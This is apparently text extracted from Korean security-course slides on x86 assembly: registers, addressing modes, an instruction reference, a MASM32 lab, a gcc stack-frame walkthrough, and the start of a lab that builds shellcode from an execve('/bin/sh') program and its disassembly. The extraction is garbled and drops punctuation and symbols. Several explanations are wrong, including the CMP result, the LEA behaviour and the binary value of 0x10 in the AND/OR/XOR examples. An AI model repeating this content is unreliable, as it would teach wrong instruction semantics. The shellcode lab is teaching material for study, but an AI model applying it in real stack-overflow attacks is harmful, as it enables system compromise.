세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

